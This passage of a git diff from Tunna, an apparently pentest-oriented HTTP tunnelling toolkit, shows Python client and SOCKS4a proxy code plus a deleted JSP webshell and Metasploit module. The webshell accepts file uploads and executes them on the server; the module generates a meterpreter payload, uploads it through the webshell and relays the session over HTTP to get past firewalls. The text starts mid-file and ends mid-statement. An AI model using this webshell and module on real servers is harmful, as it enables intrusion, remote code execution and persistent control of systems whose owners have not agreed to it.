self.http.v_print(sent_d=len(self.data)) + resp_data=self.http.HTTPreq(self.url,self.data) #send data with a HTTP post + if resp_data: #If data is received back write them to socket + if self.verbose: self.http.v_print(received_d=len(resp_data)) + self.TunnaSocket.send(resp_data) #Write data to socket + resp_data="" #clear data + except socket.error, (errno, e): + self.TunnaSocket.close() + finally: + self.mutex_http_req.release() + #if self.penalty > 0: + self.penalty=0 + #if data: stop pingThread wait + self.ptc.acquire() + self.ptc.notify() #send ping to server interval + self.ptc.release() + + for s in exceptready: #TODO? + print "[-] Unhandled Socket Exception" + + def handle_close(self): #Client disconnected + thread.interrupt_main() + + def __del__(self): + if hasattr(self, 'pt'): + self.pt._Thread__stop() #Stop socket thread and exit + if hasattr(self, 'http'): + print self.http.HTTPreq(self.url+"&close") + self.http.__del__() + print "[-] Disconnected" + + class HTTPwrapper: + cj = cookielib.CookieJar() + hasProxy=False + needsFile=False + def __init__(self, url , options): + self.options=options + remote_ip = options['remote_ip'] + remote_port = options['remote_port'] + verbose = options['verbose'] + + self.url=url + + if verbose: + self.send=0 + self.received=0 + self.received_pt=0 + self.pings=0 + try: + self.buildOpener() + #Initial Request to get the cookie/options + resp=str(self.HTTPreq(self.url)) + if self.options['useSocks']: + if "[PROXY]" in resp: + self.hasProxy=True + elif "[FILE]" in resp: + print "[+] Sending File" + self.hasProxy=True + if "[WIN]" in resp: + (headers,data)=self.multipart_upload_file(self.options['ProxyFileWin']) + print self.HTTPreq((self.url+"&file&upload"),data,headers) + elif "[LINUX]" in resp: + (headers,data)=self.multipart_upload_file(self.options['ProxyFilePy']) + print self.HTTPreq((self.url+"&file&upload"),data,headers) + else: + print "[-] Unknown server OS" + + #2nd request: send connection options to webshell - In php this thread will stall + self.t = threading.Thread(target=self.Threaded_request, args=(remote_port,remote_ip)) + self.t.start() #start the thread + + except Exception, e: + print "[-] Error:",e + thread.interrupt_main() + sleep(2) + + def buildOpener(self): + handler=[urllib2.HTTPCookieProcessor(self.cj)] + if self.options['upProxy']:# in self.options: + if self.options['upProxyAuth']:# in self.options: + for h in self.options['upProxyAuth']: + handler.append(h) + else: + if 'http://' in self.options['upProxy']: + handler.append(urllib2.ProxyHandler({'http':self.options['upProxy']})) + else: + handler.append(urllib2.ProxyHandler({'https':self.options['upProxy']})) + + opener = urllib2.build_opener(*handler) + + opener.addheaders = [('Accept-encoding', 'gzip')] + self.opener = opener + + def HTTPreq(self,url,data=None,headers=None): + opener=self.opener + + kargs={} + kargs['url']=url + if data: kargs['data']=data #Will do a GET if no data else POST + if headers: kargs['headers']=headers + else: kargs['headers']={'Content-Type':'application/octet-stream'} + + #Make Request + f=opener.open(urllib2.Request(**kargs)) + + #If response is gzip encoded + if ('Content-Encoding' in f.info().keys() and f.info()['Content-Encoding']=='gzip') or \ + ('content-encoding' in f.info().keys() and f.info()['content-encoding']=='gzip'): + url_f = StringIO.StringIO(f.read()) + data = gzip.GzipFile(fileobj=url_f).read() + else: #response not encoded + data = f.read() + + if f.getcode() != 200: + print "[-] Received status code " + str(f.getcode()) + print data + thread.interrupt_main() + return data #Return response + + def Threaded_request(self, remote_port,remote_ip=None, socks=True): + #Sends connection options to the webshell + #In php this thread will stall to keep the connection alive (will not receive response) + #In other webshells [OK] is received + + print '[+] Spawning keep-alive thread' + #set up options + url=self.url+"&port="+str(remote_port) + if remote_ip: url+="&ip="+str(remote_ip) + if socks: url+="&socks" + #send options + resp = self.HTTPreq(url) + + if (resp[:4] == '[OK]'): #If ok is received (non-php webshell): Thread not needed + print '[-] Keep-alive thread not required' + else: #if ok/proxy is not received something went wrong (if nothing is received: it's a PHP webshell) + print resp + print '[-] Keep-alive thread exited' + thread.interrupt_main() + + def multipart_upload_file(self,filename): + rand = ''.join([random.choice("0123456789") for i in range(10)]) #random_string (10) + + tmpFilename=rand[:3]+'-'+os.path.basename(filename) + + headers={'Content-Type':('multipart/form-data; boundary=---------------------------%s' % rand)} + + data ='-----------------------------'+rand+ \ + '\r\nContent-Disposition: form-data; name=\"proxy\"; filename=\"'+tmpFilename \ + +'\"\r\nContent-Type: application/octet-stream\r\n\r\n'+(open(filename,'rb').read()) \ + +'\r\n-----------------------------'+rand+'--\r\n\r\n' + + return headers,data + + def v_print(self, sent_d=0, received_d=0, received_d_pt=0,pings_n=0): #Verbose output for Debugging + self.send + self.received + self.received_pt + self.pings + + self.send+=sent_d + self.received+=received_d + self.received_pt+=received_d_pt + self.pings+=pings_n + + if sys.platform.startswith('win') or sys.platform == 'cygwin': + os.system("cls") + else: + os.system("clear") + sys.stdout.write( + "Received Data: %d (%d)\nReceived Data From Ping Thread: %d (%d) \nSent data: %d (%d) \nPings sent: %d\r\n" + % (self.received,received_d, self.received_pt,received_d_pt, self.send, sent_d, self.pings) ) + sys.stdout.flush() + + def __del__(self): + if hasattr(self, 't') and self.t.isAlive:self.t._Thread__stop() + diff --git a/lib/TunnaClient.pyc b/lib/TunnaClient.pyc new file mode 100644 index 0000000..479e427 Binary files /dev/null and b/lib/TunnaClient.pyc differ diff --git a/lib/__init__.py b/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/__init__.pyc b/lib/__init__.pyc new file mode 100644 index 0000000..f80d350 Binary files /dev/null and b/lib/__init__.pyc differ diff --git a/lib/socks4aServer.exe b/lib/socks4aServer.exe new file mode 100755 index 0000000..7cfc133 Binary files /dev/null and b/lib/socks4aServer.exe differ diff --git a/lib/socks4aServer.py b/lib/socks4aServer.py new file mode 100755 index 0000000..9fe7878 --- /dev/null +++ b/lib/socks4aServer.py @@ -0,0 +1,288 @@ +#!/usr/bin/python +# _____ _ _____ +# / ____| | | / ____| +# | (___ ___ ___| | _____| (___ ___ _ ____ _____ _ __ +# \___ \ / _ \ / __| |/ / __|\___ \ / _ \ '__\ \ / / _ \ '__| +# ____) | (_) | (__| <\__ \____) | __/ | \ V / __/ | +# |_____/ \___/ \___|_|\_\___/_____/ \___|_| \_/ \___|_| +# +#SocksServer v1.1a, for Proxying TCP connections by Nikos Vassakis +#http://www.secforce.com / nikos.vassakis secforce.com +######################################################################## +#Tested with Python 2.6.5 + +import getopt, sys +import socket +import select +import sys +import time +import struct +import threading, thread + +DEBUG=1 #Change to 0 for no output + +Defaults={ + 'hostname':'localhost', + 'webServerPort':0, + 'timeout':0.5, #TODO: Not implemented + 'bufferSize':1024*8 +} + +class SocksServer(): + #bufferSizeSize = 1024-4 + + def __init__(self, socket, event=threading.Event(), bufferSize=Defaults['bufferSize']): + self.debug=DEBUG + self.bufferSize=bufferSize-4 + self.timeout=1 #XXX:For Speed - requests are threaded now but no real gain + + self.lock = threading.Lock() + self.server=socket + self.event=event + + if self.debug > 0: print "[S]",time.asctime(), "Server Starts - %s:%s" % (self.server.getsockname()[0], self.server.getsockname()[1]) + + def run(self): + self.event.set() #all done + self.server.listen(50) + wrapper_channel, address = self.server.accept() + self.iserver(wrapper_channel) + wrapper_channel.close() + + def sockReceive(self,s,size): #Receive until we have the whole packet + try: + data = s.recv(size) + while len(data) < size and data: + if self.debug > 2: print len(data) , size + data += s.recv((size-len(data))) + return data + except socket.error as e: #Socket error + self.printError(e) + pass + + def printError(self,e): #Red Print + print '\033[91m',e,sys.exc_info()[0],'\033[0m' + + def parse_socks(self,data): #Parses the Socks4a Headder + #Based on Socks4a RFC + + user_idx = data[8:].find('\x00') + fmt = '!BBH4s%ss' % (user_idx) + #print " Data: \\x" + ('\\x'.join(x.encode('hex') for x in data)),"fmt",fmt + try: + (version,command,port,ip,user) = struct.unpack(fmt,data[:8+user_idx]) + except struct.error as e: + self.printError(e) + if self.debug >2: print data + if self.debug >2: print " Data: \\x" + ('\\x'.join(x.encode('hex') for x in data)) + return None + + if version != 4: + print "[-] Unsupported version: " + str(version) + return None + + if command != 1: + print "[-] Unsupported command: " + str(command) + return None + #Get IP + if ip[:3] == '\x00\x00\x00' and ip[3:] != '\x00': #SOCKS4a + #print data[8+1+user_idx:].find('\x00') + host = data[8+user_idx+1:8+user_idx+1+data[8+user_idx+1:].find('\x00')] + else: + host = socket.inet_ntoa(ip) + + return (version,command,port,user,host) + + def establishConnection(self,s,data,sockets,SocketDict,inSrcPort): + granted = '\x00\x5a\x00\x00\x00\x00\x00\x00' #Socks request granted response + rejected = '\x00\x5b\x00\x00\x00\x00\x00\x00' #Socks request rejected response + + try: + #Parse data + (version,command,port,user,host) = self.parse_socks(data) + + if self.debug > 2: print (version,command,port,user,host) + + #Connect to socket + outSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + outSock.settimeout(self.timeout) + outSock.connect((host, port)) + + if self.debug >4: print "[T] Establish connection locking 1" + + self.lock.acquire() + try: + sockets.append(outSock) + SocketDict[self.srcPort(outSock)] = inSrcPort,outSock #Link incoming port to created socket + s.send(struct.pack('!HH',inSrcPort,len(granted))+granted) #Send connection established responce + finally: + if self.debug >4: print "[T] Establish connection releasing 1" + self.lock.release() + + if self.debug > 0: print "[S] Connection to "+host+" Established" + except (TypeError,socket.error, KeyError) as e : + print "[-] Socks: Rejected", e + + if self.debug >4: print "[T] Establish connection locking 2" + self.lock.acquire() + try: + s.send(struct.pack('!HH',inSrcPort,len(rejected))+rejected) #Send connection rejected responce (port closed) + finally: + if self.debug >4: print "[T] Establish connection releasing 2" + self.lock.release() + pass + + def srcPort(self,s): + return s.getsockname()[1] + + def findISocket(self, port, dictionary): + for (p, sock) in dictionary.itervalues(): + if p == port: #If inSrcPort number in list redirect to socket + if self.debug > 3: print "\t (Found -",self.srcPort(sock),") -Redirecting-" + return sock + else: + return False + + def deleteISocket(self, socket,dictionary,sockets): + del dictionary[self.srcPort(socket)] + sockets.remove(socket) + + def iserver(self, wrapper_channel): + sockets = [wrapper_channel] + self.sockets=sockets + running = 1 + SocketDict = {} + debug=DEBUG + + while running: + inputready,outputready,exceptready = select.select(sockets,[],[]) + for s in inputready: + try: + if debug > 2: print "[+] Open Sockets: ",len(sockets) + if s == wrapper_channel: # handle the input - main - socket + + head = self.sockReceive(s,4) #Tunna Head: First 4 bytes=incoming port and size of packet + (inSrcPort,size) = struct.unpack('!HH',head) + if debug > 3: print "< L Received: ", "inSrcPort: ", inSrcPort, "size: ", size,"\n\t", struct.unpack('!HH',head) + + if size > 0: + data = self.sockReceive(s,size) + outSock=self.findISocket(inSrcPort,SocketDict) + if outSock: + outSock.send(data) + else: # In socket not in list - Try Socks + if debug > 4: print "[D] Starting Connection Thread" + Thread = threading.Thread( + target=self.establishConnection(s,data,sockets,SocketDict,inSrcPort) + ) + #self.establishConnection(s,data,sockets,SocketDict,inSrcPort) + else: #inSrcPort send no data - Port Closed + if debug > 3: print "\t Close Socket: ", inSrcPort + + outSock=self.findISocket(inSrcPort,SocketDict) + if outSock: + self.lock.acquire() + try: + self.deleteISocket(outSock,SocketDict,sockets) + finally: + self.lock.release() + outSock.close() + break + else: # Input socket not in list ? + if debug > 3: print "[E] Received empty & socket not in list: ", inSrcPort + else: # Other sockets (outSockets) + data = s.recv(self.bufferSize) + if debug > 3: print "> R Received: Data (client -",self.srcPort(s),") :" , len(data) + + if data: + + if debug > 3: print "\t sending to:", SocketDict[self.srcPort(s)][0],"len", len(data) + if debug >4: print "[T] Write to channel locking 1" + + self.lock.acquire() + try: + wrapper_channel.send((struct.pack('!HH',SocketDict[self.srcPort(s)][0],len(data))+data)) + finally: + if debug >4: print "[T] Write to channel releasing 1" + self.lock.release() + + if len(data)==0: + if debug > 3: print "\tClosing port: ", SocketDict[self.srcPort(s)][0],'len:', len(data),"Local Port:", self.srcPort(s) + + if debug >4: print "[T] Write to channel locking 2" + self.lock.acquire() + try: + wrapper_channel.send((struct.pack('!HH',SocketDict[self.srcPort(s)][0],len(data)))) #send empty to lSrc will close the socket on the other end + except (TypeError,socket.error, KeyError) as e : + self.printError(e) + pass + finally: + if debug >4: print "[T] Write to channel releasing 2" + self.lock.release() + + self.lock.acquire() + try: + self.deleteISocket(s,SocketDict,sockets) + finally: + self.lock.release() + + s.close() + except struct.error as e: + print "[-] Received malformed packet: Closing Socks Proxy" + sys.exit() + except socket.error as e: #Kill misbehaving socket + self.printError(e) + try: + self.lock.acquire() + try: + self.deleteISocket(s,SocketDict,sockets) + finally: + self.lock.release() + s.close() + except: + pass + pass + wrapper_channel.close() + + def __del__(self): + if hasattr(self,"sockets"): + for s in self.sockets: + s.close() + +def banner(): + print " _____ _ _____ " + print " / ____| | | / ____| " + print " | (___ ___ ___| | _____| (___ ___ _ ____ _____ _ __ " + print " \\___ \\ / _ \\ / __| |/ / __|\\___ \\ / _ \\ '__\\ \\ / / _ \\ '__|" + print " ____) | (_) | (__| <\\__ \\____) | __/ | \\ V / __/ | " + print " |_____/ \\___/ \\___|_|\\_\\___/_____/ \\___|_| \\_/ \\___|_| " + print "" + + print "SocksServer v1.1a, for Proxying TCP connections by Nikos Vassakis" + print "http://www.secforce.com / nikos.vassakis secforce.com" + print "###############################################################" + print "" + +if __name__ == '__main__': + if DEBUG > 2: banner() + options={} + + if sys.argv < 1: + usage() + sys.exit(2) + else: + options['webServerPort']=int(sys.argv[1]) + #TODO: Parse Arguments + options=dict(Defaults.items() + options.items()) if options else Defaults + + SocksServerSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + SocksServerSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + SocksServerSocket.bind((options['hostname'],options['webServerPort'])) + + S=SocksServer(SocksServerSocket) + + try: + S.run() + except KeyboardInterrupt: + if DEBUG > 0: print "[S] Shutting Down SocksServer" + sys.exit(9) diff --git a/metasploit/conn.jsp b/metasploit/conn.jsp deleted file mode 100644 index 5239479..0000000 --- a/metasploit/conn.jsp +++ /dev/null @@ -1,223 +0,0 @@ -<%@ page import="java.io.*, java.net.*, java.nio.*, java.nio.channels.*" trimDirectiveWhitespaces="true" %> -<%! -// -//Tunna ASPX webshell v0.1 (c) 2013 by Nikos Vassakis -//http://www.secforce.com / nikos.vassakis secforce.com -// -public class SockException extends Exception{ //Custom exception class for socket exceptions - public SockException(String message) { - super(message); - } - public SockException(String message, Throwable throwable) { - super(message, throwable); - } -} -public SocketChannel connect(String ip, int port) throws SockException{ - SocketChannel socket; - boolean established; - try{ - socket = SocketChannel.open(); //Create socket - }catch(IOException e){ - throw new SockException("[SERVER] Unable to create Socket"); - } - try{ - established = socket.connect(new InetSocketAddress(ip, port)); //Connect to socket - }catch( IOException e){ - throw new SockException("[Server] Unable to Connect"); - } - try{ - socket.configureBlocking(false); //Socket in non-blocking mode because of the consecutive HTTP requests - }catch( IOException e){ - throw new SockException("[Server] Unable to set socket to non blocking mode"); - } - if (!established){ - try{ - while(! socket.finishConnect() ){ - //wait for connection - } - } - catch( IOException e){ - throw new SockException("[Server] Unable connect to socket"); - } - } - return socket; -} -%> -<% -SocketChannel socket=null; -OutputStream os = response.getOutputStream(); -if(request.getParameter("proxy") == "" ){ - //Irrelevant: in windows after 1024, bytes are not written to socket - // in linux same happend after 4096 - int bufferSize = 8192; //4096 //8192 - if (request.getParameter("close") == ""){ //if url parameter close is received: close socket / invalidate session - session.setAttribute("running","-1"); - socket=(SocketChannel)session.getAttribute("socket"); //get socket from session - if (socket != null){ - socket.close(); - } - os.write("[Server] Closing the connection".getBytes()); - os.flush(); - os.close(); - session.invalidate(); //invalidate session - return; - } - if(request.getParameter("port") != null){ //if port is specified connects to that port - session.setAttribute("port", request.getParameter("port")); - } - if(request.getParameter("ip") != null){ //if ip is specified connects to that ip - session.setAttribute("ip", request.getParameter("ip")); - } -/* SESSION */ - if(session.isNew()){ //1st request: initiate session - session.setAttribute("running", "0"); - os.write("[Server] All good to go, ensure the listener is working ;-)\n".getBytes()); - os.flush(); - os.close();// *important* to ensure no more jsp output - return; - } - else{ - if (session.getAttribute("running") == "0" ){ //2nd request: get configuration options for socket - String ip = (String) session.getAttribute("ip"); - int port = Integer.parseInt((String) session.getAttribute("port")); - try{ - socket=connect(ip, port); - } - catch(SockException e){ - os.write(e.getMessage().getBytes()); - os.flush(); - os.close(); - return; - } - session.setAttribute("socket",socket); - session.setAttribute("running", "1"); - os.write("[OK]".getBytes()); //Send [OK] back - os.flush(); - os.close();// *important* to ensure no more jsp output - return; - } - else{ - response.setContentType("application/oclet-stream"); - //Allocate buffers for socket IO - ByteBuffer dataIn = ByteBuffer.allocate(bufferSize); - ByteBuffer dataOut = ByteBuffer.allocate(bufferSize); - - try{ - socket=(SocketChannel)session.getAttribute("socket"); //Get socket from session - }catch(Exception e){ - os.write("[Server] Socket null pointer exception".getBytes()); - os.flush(); - os.close(); - return; - } - //Read data from request and write to socket - InputStream is = request.getInputStream(); - byte[] postBuff = new byte[bufferSize]; - int postBytesRead = is.read(postBuff); - if (postBytesRead > 0){ - dataIn = ByteBuffer.wrap(postBuff,0,postBytesRead); - int bytesWritten = socket.write(dataIn); - dataIn.clear(); - } - //Read Data from socket and write to response - int SocketBytesRead = socket.read(dataOut); - if(SocketBytesRead > 0){ - byte[] respBuff = dataOut.array(); - os.write(respBuff,0,SocketBytesRead); - os.flush(); - os.close();// *important* to ensure no more jsp output - dataOut.clear(); - return; - } - else{ - os.write("".getBytes()); //No data on socket: send nothing back - os.flush(); - os.close(); - return; - } - } - } -} -if(request.getParameter("file") == "" ){ //If url parameter file is set - if(request.getParameter("upload") == "" ){ //reads file and saves it to temp - String contentType = request.getContentType(); - if ((contentType != null) && (contentType.indexOf("multipart/form-data") >= 0)) { - DataInputStream in = new DataInputStream(request.getInputStream()); - int formDataLength = request.getContentLength(); - byte dataBytes[] = new byte[formDataLength]; - int byteRead = 0; - int totalBytesRead = 0; - while (totalBytesRead < formDataLength) { - byteRead = in.read(dataBytes, totalBytesRead, formDataLength); - totalBytesRead += byteRead; - } - String file = new String(dataBytes); - String saveFile = file.substring(file.indexOf("filename=\"") + 10, file.lastIndexOf("Content-Type")-3); - //String saveFile = "meterpreter.exe"; - saveFile = System.getProperty("java.io.tmpdir") + '/' + saveFile; - session.setAttribute("file", saveFile); - int lastIndex = contentType.lastIndexOf("="); - String boundary = contentType.substring(lastIndex + 1,contentType.length()); - int pos; - //extracting the index of file - pos = file.indexOf("filename=\""); - pos = file.indexOf("\n", pos) + 1; - pos = file.indexOf("\n", pos) + 1; - pos = file.indexOf("\n", pos) + 1; - int boundaryLocation = file.indexOf(boundary, pos) - 4; - int startPos = ((file.substring(0, pos)).getBytes()).length; - int endPos = ((file.substring(0, boundaryLocation)).getBytes()).length; - - // creating a new file with the same name and writing the content in new file - //TODO: catch exception if file exists - FileOutputStream fileOut = new FileOutputStream((String) session.getAttribute("file")); - fileOut.write(dataBytes, startPos, (endPos - startPos)); - fileOut.flush(); - fileOut.close(); - os.write(("[Server] File Uploaded at " + (String) session.getAttribute("file")).getBytes()); - os.flush(); - os.close(); - return; - } - } - if(request.getParameter("run") == "" ){ //Executes the file - String s=(String) session.getAttribute("file"); - if(!System.getProperty("os.name").toLowerCase().contains("windows")){ // If linux: make uploaded file executable - try{ - Runtime r = Runtime.getRuntime(); - Process p =null; - String s1 = "chmod +x " + s; - p = r.exec(s1); - } catch(Exception e1) - { - os.write(e1.getMessage().getBytes()); - os.flush(); - os.close(); - return; - } - } - //Execute it - try{ - Runtime r = Runtime.getRuntime(); - Process p =null; - String[] s1 = {s}; - p = r.exec(s1); - } catch(Exception e1) - { - os.write(e1.getMessage().getBytes()); - os.flush(); - os.close(); - return; - } - os.write(("[Server] Run").getBytes()); - os.flush(); - os.close(); - } - if(request.getParameter("delete") == "" ){ // Url parameter to delete file - //TODO: catch exception on file not found - String s=(String) session.getAttribute("file"); - File f = new File(s); - f.delete(); - } -} -%> diff --git a/metasploit/tunna_exploit.rb b/metasploit/tunna_exploit.rb deleted file mode 100644 index f69a143..0000000 --- a/metasploit/tunna_exploit.rb +++ /dev/null @@ -1,397 +0,0 @@ -## v0.1a Pre-alpha version -# _____ -# |_ _| _ _ __ _ __ __ _ -# | || | | | '_ \| '_ \ / _` | -# | || |_| | | | | | | | (_| | -# |_| \__,_|_| |_|_| |_|\__,_| -# METASPLOIT MODULE -# -# Tunna 0.1, for HTTP tunneling TCP connections by Nikos Vassakis -# http://www.secforce.co.uk / nikos.vassakis secforce.com -## - -require 'msf/core' -require 'fastlib' -require 'rex' - -######################################################################## -#Life's too short includes -#TODO: Maybe some day use Metasploit API for HTTP requests - require "net/http" - require "net/https" - require "uri" - require "zlib" #for gzip -######################################################################## - - class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking - - include Msf::Exploit::Remote::Tcp - - def initialize(info = {}) -#TODO: - super(update_info(info, - 'Name' => 'nvssks', - 'Description' => %q{ -ntegration with the Metasploit framework allows Tunna to bring architecture attacks closer in web application penetration testing. Tunna framework transparently connects a fully firewalled (inbound and outbound) web application to a local installation of Metasploit -When Tunna is operating integrated with Metasploit, the user chooses the payload which is generated, uploaded and executed in the remote server. Tunna connects the the socket in the remote server to the attackers Metasploit framework making it transparent to the Metasploit exploitation framework. -The webshell will read data from the payload port, wrap it over HTTP and send it as an HTTP response to the metasploit "proxy". The local metasploit "proxy" will unwrap and write the data to its local port where the payload handler is connected. When the metasploit "proxy" receives data on the local port, it will send them over to the webshell as a HTTP Post. The webshell will read the data from the HTTP Post and put it on the payload port. -The Webshell that must be uploaded on the remote webserver and the local proxy application. In order to run the tool, execute the proxy application and instruct it to connect to the webshell and the remote service port. This will initiate the connection with the remote server and create a port on the local machine for the client application to connect to. -Only the webserver port needs to be open. The whole communication (Externally) is done over the HTTP protocol. - }, - - 'Platform' => ['linux', 'win'], - 'Arch' => [ARCH_X86_64, ARCH_X86], - 'Targets' => - [ - ['Automatic Targeting', { 'auto' => true }] - ], - 'DefaultTarget' => 0, - )) - - register_options( - [ - OptString.new('TARGETURI',[ true, 'PATH to conn.php / conn.aspx / conn.jsp', "http://webserver:8080/conn.ext"]), #Web shell's URL - #XXX: This should read LOCALIP but if RHOST overriden call to handler hangs execution - OptAddress.new('RHOST', [ true, '!IMPORTANT local external IP','10.3.3.7']), # !IMPORTANT:Metasploit bug if localhost or 127.0.0.1 - OptPort.new('RPORT', [ false, "remote port of service for the webshell to connect to (remote meterpreter)", 4444]),#Meterpreter is generated with port 4444 - OptPort.new('LPORT', [ false, "port for local server (Handler listener)", 4444]),#Handler port - OptString.new('PingInterval', [ false, 'HTTP request for data, pinging interval', '0.5']) #0.5 - ],self.class) - register_advanced_options( - [ - OptAddress.new('RemoteAddress', [ false, 'address for remote webshell to connect to (beta)','127.0.0.1']), #in case we want to connect to another remote service using the web server - OptInt.new('ReqTimeout', [ false, 'HTTP request timeout in milliseconds', 300]), #Unused - OptInt.new('BufferSize', [ false, 'HTTP request size (some webshels have limitations on the size)', 4096]), #4096 #8192 - OptBool.new('StartPing', [true, 'start the pinging thread first - some services send data first (SSH)',false]), #In case remote server needs to send data first(eg. SSH) - ], self.class) - end - - def HTTPreq(url, dataOut="", timeout=datastore['ReqTimeout']) #Sends the data using HTTP packets / Waits for response - http = Net::HTTP.new(@uri.host,@uri.port) - http.open_timeout = timeout - http.read_timeout = timeout - if dataOut then #If there is data do a POST request - print_debug('POST ' + url + ': ' + (@data_sent+=dataOut.length).to_s + ' (' + dataOut.length.to_s + ')') if @verbose and !@restrict_output #Output of request - resp, data = http.post(url, dataOut, @headers) - else - print_debug('GET ' + url) if @verbose and !@restrict_output #Output of request - resp, data = http.get(url, @headers) #response is saved in resp - end - - - @headers['Cookie'] = resp.response['set-cookie'] if !@headers.has_key?('Cookie') #If set-cookie is received update headers sent to server - - if resp.header[ 'Content-Encoding' ].eql?( 'gzip' ) then #In case gzip encoding is used - begin - f = StringIO.new( resp.body ) - url_f = Zlib::GzipReader.new( f ) - data = url_f.read() - rescue ::Exception => e - print_error("Gzip error was encountered #{e}") - end - else - data = resp.body - end - print_debug('Data Received: ' + (@data_received+=resp.body.length).to_s + ' (' + resp.body.length.to_s + ')') if @verbose and !@restrict_output and resp.body.length > 0 - if resp.code == '200' then - return data - else - print_error ("Received status code " + resp.code + "\n" + data) - raise ConnectionError,"Unexpected HTTP response packet" - end - end - - def wrap_http_init(url,rport,remote_ip) - @mutex = Rex::ReadWriteLock.new() #for write to socket blocking - @handling_threads = [] - @e = Rex::Sync::Event.new(false,false) #for signaling the pinging thread - @stop_p_thread = false #used at exit - - @uri = URI(url) - http = Net::HTTP.new(@uri.host,@uri.port) - @url=@uri.path+"?proxy" #Append proxy as a url parameter - - #Add http headers for cookie and encoding - @headers = { - 'Accept-encoding' => 'gzip', #support for gzip is implemented - 'Connection' => 'close', - 'Content-Type' => 'application/octet-stream' #We're going to send raw data - } - - #Initial connection to server / Important - set's up a session - print_status(HTTPreq(@url,nil).strip) - - #Upload/execute meterpreter on remote host - upload() - - sleep(2) #wait - just do it (Can't remember why) - - #send config and start stalling thread (required by the php shell) - @handling_threads << Rex::ThreadFactory.spawn("Threaded Initial Request", false){ - #Also sends request with the configuration options for the remote server (port and ip for the remote socket) - if remote_ip then - resp = HTTPreq(@url+"&port="+rport.to_s()+"&ip="+remote_ip.to_s(),nil,36000) #TODO: Maybe longer timewait? - else - resp = HTTPreq(@url+"&port="+rport.to_s(),nil,36000) - end - if(resp.strip != '[OK]') then #If response is received and response is not '[OK]' something happend on the server side - raise resp - else - print_status('Keep-alive thread not required') - end - } - - @handling_threads[-1].join(2) #wait for exception - #initialise local socket - wrap_http_socket_init() - #start wrapping the connection - wrap_http_connection() - end - - def wrap_http_socket_init() - print_status('Starting Http Wrapper') - begin - #Because creating a double socket on localhost triggers a metasploit bug - server = Rex::Socket::TcpServer.create( #create local socket - 'LocalHost' => datastore['RHOST'], - 'LocalPort' => datastore['LPORT'] - ) - print_status("socket info:" + server.localport.to_s + ' | ' + server.localhost.to_s ) - - @ready.set() # unblock main: continues execution and calls handler - - @sock = server.accept() # wait for connection - server.close() - rescue ::Exception => e - print_error("The following error was encountered #{e}") - raise - end - end - - def wrap_http_connection() - @wrapping_threads = [] - #start pinging thread - this thread queries the remote host to see if there is data to be received - @wrapping_threads << Rex::ThreadFactory.spawn("Pinging Thread", false){ - Thread.pass - @e.wait() # wait for start signal - print_status("[+] Starting Ping thread") - wait=true - while !@stop_p_thread #loop until requested to stop - Rex::ThreadSafe.sleep(@interval) if wait #send ping to server interval / waits "interval" between requests - @mutex.synchronize_write(){ #ensures that there is only one HTTP request made at a time - resp_data=HTTPreq(@url,nil) #Read data - if resp_data != "" and resp_data then - @sock.write(resp_data) #If data is received - write to socket - resp_data="" #clear data - wait=false #if there was data chances are that there are more / dont wait - else - wait=true - end - } - end - #raise "Pinging Thread Exited" - } - - @e.set() if @start_pinging #start ping thread / send event to thread - - @wrapping_threads << Rex::ThreadFactory.spawn("Http wrapper Thread", false) { #Threadded write on the socket - data=nil - @i = 0 - #Thread.pass - while 1 - if @sock.eof? or @sock.closed? then - #print_error("Disconected") - break; - else - begin - data = @sock.read(@bufferSize) #use of bigger buffer eg.8192 - is problematic in jsp - rescue ::Exception => e - print_error("Socket read error was encountered #{e}") - raise - end - if data and data != "" then #if data is read from socket - @mutex.synchronize_write(){ #ensures that there is only one HTTP request made at a time - resp_data=HTTPreq(@url,data) #sends data over HTTP - if resp_data != "" and resp_data then #if data is received back - @sock.write(resp_data) #write them to socket - resp_data="" #clear data (just in case) - end - @e.set() if !@start_pinging #start ping thread if not already started - only happens once - } - end - #end - end - end - @stop_p_thread = true - #wrap_http_connection_close() - } - @ready.set() - end - - def wrap_http_connection_close() - #delete remote meterpreter executable - delete_file() - #Request server to close remote socket - print_status(HTTPreq(@url+"&close",nil).strip()) - #Close local socket - @sock.close if defined?(@sock) rescue nil - #Kill all threads - print_status("Killing threads") - if @wrapping_threads - @wrapping_threads.each do |t| - t.kill - end # Stop the wrapper threads - end - if @handling_threads - @handling_threads.each do |t| - t.kill - end # Stop the wrapper threads - end - #XXX: If thread is sleeping request to kill pinging thread might get lost - @stop_p_thread = true - raise RuntimeError, "Aborted!" - end - - def exploit - @handling_threads = [] - @ready = Rex::Sync::Event.new(false,true) - - # Debug - @data_sent=0 - @data_received=0 - @pings=0 - #Copy OPTIONS to local vars - @interval = datastore['PingInterval'].to_f - @start_pinging = datastore['StartPing'] - @bufferSize = datastore['BufferSize'] - @verbose = datastore['VERBOSE'] #gives more verbose output - @restrict_output = false #if verbose restricts output after meterpreter connection establishes - - return if not datastore['PAYLOAD'] - return if not datastore['TARGETURI'] - return if not datastore['RHOST'] - - #start main thread - spawns everything else - @handling_threads << Rex::ThreadFactory.spawn("Http main wrapper thread", false) { - - begin - #Initiate everything - wrap_http_init(datastore['TARGETURI'],datastore['RPORT'],datastore['RemoteAddress']) - - rescue ::Exception => e - print_error("The following error was encountered: #{e}") - wrap_http_connection_close() - #raise - ::Thread.main.raise e - end - } - #print_status("Started wrapper") - @ready.wait() #Waits for socket to initialise - - handler(@sock) #Calls metasploit handler - Doesn't block - - @ready.wait() #Waits for wrapper to finish execution before exiting - otherwise handling threads are killed - - @wrapping_threads.each(&:join) - wrap_http_connection_close() #Cleenup&Close everything - - end - - def on_new_session (session) - @restrict_output = true #When VERBOSE output stops after meterpreter session established - end - -# Upload / Execute / Delete meterpreter @ remote host functions - - def upload() - remote_options = { #Options for remote meterpreter - 'RHOST' => '127.0.0.1', - 'LPORT' => datastore['RPORT'], - 'ENCODER' => nil - } - - payload = datastore['PAYLOAD'] - exe = generate_meterpreter(payload,remote_options) #Generate meterpreter based on specified payload - - if payload.include? "windows" then #If windows payload is selected - filename = 'meterpreter.exe' - else - filename = 'meterpreter' - end - - rand = '18788734234' #return 4 style random number - - - print_status("Uploading meterpreter") - - #Generate HTTP packet for upload / include meterpreter and send - @headers['Content-Type']="multipart/form-data; boundary=---------------------------#{rand}" - data 